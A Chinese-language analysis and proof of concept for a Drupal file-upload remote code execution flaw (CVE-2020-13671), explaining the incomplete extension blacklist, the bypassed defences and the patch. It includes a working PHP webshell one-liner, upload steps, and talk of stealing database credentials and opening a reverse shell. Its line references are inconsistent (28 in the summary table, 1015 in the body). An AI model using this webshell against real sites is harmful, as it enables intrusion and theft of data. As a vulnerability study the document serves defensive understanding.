
CVE-2020-13671 - Drupal 通过文件上传实现远程代码执行漏洞分析与 PoC
软件: Drupal Core 8.7.5(受影响版本:7.x < 7.78、8.x < 8.8.11、8.9.x < 8.9.9、9.0.x < 9.0.8)
CVSS: 8.8(高危)
CWE: CWE-434 — 危险类型文件的无限制上传
CISA KEV: 是 — 已知被利用漏洞
公告: SA-CORE-2020-012
Drupal 是一个用 PHP 编写的开源内容管理系统(CMS),与 WordPress 或 Joomla 类似,但更倾向于构建更复杂的系统——企业级网站、多语言平台。Drupal 采用模块化架构,可以通过启用/禁用现有模块或从社区安装额外模块来扩展功能。
任何 CMS 的基本功能之一都是允许用户上传文件——个人头像、附件文档、文章中的附件。Drupal 将这些文件保存到 sites/default/files/ 目录,并通过 Web 服务器(Apache 或 Nginx)直接提供访问。
⇒ 这形成了一个明显的攻击面:如果攻击者成功将 PHP 文件上传到该目录,Web 服务器会在收到访问请求时执行它。
为了防止这种情况,Drupal 构建了多层防御:验证文件扩展名、重命名危险文件、放置 .htaccess 以阻止上传目录中的脚本执行。但在 8.7.5 版本中,攻击者恰恰利用了这些防御层之间的盲区。
此漏洞需要一个具有文件上传权限的账户。在 Drupal 8.7.5 中,默认情况下,普通用户(已认证)只有查看内容和发表评论的权限——没有创建文章或上传文件的权限。
| 账户 | 可利用? | 说明 |
|---|
| 管理员 | 是 | 拥有完整的上传权限 |
| 编辑 / 内容创建者 | 是 | 如果被授予"创建内容"权限且管理员允许上传 |
| 已认证用户(默认) | 否 | 默认没有创建内容或上传的权限 |
| 匿名用户(未登录) | 否 | 没有上传权限 |
然而,在实践中,许多 Drupal 站点会向普通用户授予内容创建权限(论坛、社区博客、允许投稿的新闻网站)。在这种情况下,攻击者只需注册一个账户即可利用此漏洞。
攻击流程:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
在文件 core/modules/file/file.module 中,有一个正则表达式决定哪些文件被视为可执行文件:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

这个正则表达式列出了 7 种扩展名:phar、php、pl、py、cgi、asp、js。任何扩展名匹配此列表的文件都会被 Drupal 自动追加 .txt——从而消除其执行能力。
然而,PHP 引擎并不只处理 .php 文件。根据 Web 服务器的配置,它还会识别并执行其他扩展名:
| 扩展名 | 含义 | 是否包含在正则中? |
|---|---|---|
.php | PHP 标准 | 是 |
.phtml | PHP 替代模板 | 否 |
.php5 | PHP 5 处理器 | 否 |
.pht | PHP 模板 | 否 |
.phps | PHP 源代码 | 否 |
.shtml | 服务器端包含(SSI) | 否 |
正则中完全没有这 5 种 PHP 扩展名变体。这意味着一个名为 shell.phtml 的文件被上传到 Drupal 后 → 正则不匹配 → 不会被重命名 → 以原始名称保存到上传目录 → Web 服务器看到 .phtml → 将其作为 PHP 执行 → 攻击者实现 RCE。这就是根本原因:Drupal 使用黑名单来阻止危险扩展名,但该列表并不完整。
当用户上传文件时,Drupal 会在保存前将其依次通过 3 个验证函数。下面分析为什么这 3 个函数在面对 .phtml 时全部失效。
file_munge_filename()(core/includes/file.inc)目的:检测位于文件名中间的危险扩展名,并追加 _ 来破坏它们。函数的工作原理如下:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
以 shell.phtml 为例:
explode 将其拆分为 ["shell", "phtml"]shift 取出 "shell",剩余 ["phtml"]pop 取出 "phtml",剩余 []foreach 不执行"shell.phtml"然而,如果文件只有一个扩展名,该函数不会介入。因此,这个函数仅用于处理多扩展名的文件。
FILE_INSECURE_EXTENSION_REGEX(file.module:1015)这是主要的防御层。第 1015 行的代码如下:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
如果文件名匹配正则 → 将 MIME 类型改为 text/plain,并在末尾追加 .txt。
以 shell.phtml 为例:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') 返回 0因此,这部分本应拦截危险文件,但由于正则不知道 .phtml 是危险的,它便轻松溜了过去。
.htaccessDrupal 会在 sites/default/files/ 中放置一个 .htaccess 文件:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine off 指令会关闭整个目录的 PHP 引擎,但它只对 mod_php5 生效。Drupal 8.7.5 运行在 PHP 7 上,这意味着 mod_php7 处于活动状态且未被禁用。
此外,.htaccess 还有 3 个其他弱点:
.htaccess——该文件在 Nginx 上完全无效AllowOverride None → .htaccess 会被忽略mod_php 的服务器 → php_flag 指令不生效echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
使用具有上传权限的账户登录 Drupal → 内容 → 添加内容 → 文章 → 在图片字段中选择文件 webshell.phtml → 上传。
Drupal 接受该文件,不会重命名它,并以原始名称将其保存到 sites/default/files/。

之后,使用 whoami 执行 shell 调用:

至此,我们成功以 www-data 身份实现了 RCE。
进一步测试以查看凭据:

攻击者可以读取包含数据库凭据的 settings.php、转储整个数据库、安装反向 shell,或将权限提升至 root。
更新正则 — 添加缺失的 5 种扩展名:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
更新 .htaccess — 添加对 mod_php7 的禁用:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
该补丁有效,但仍依赖黑名单。如果将来出现新的扩展名(.php8、.phpt),正则将需要再次更新。白名单方式——只允许已知的安全扩展名——会是更彻底的解决方案。
| 易受攻击的文件 | core/modules/file/file.module 第 28 行 |
|---|---|
| 根本原因 | 正则黑名单缺少 .phtml、.php5、.pht、.phps、.shtml |
| 影响 | 上传 .phtml → 服务器执行 → RCE |
| 被绕过的 3 个防御层 | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| 补丁 | 在正则中添加 5 种扩展名 + 在 .htaccess 中禁用 mod_php7 |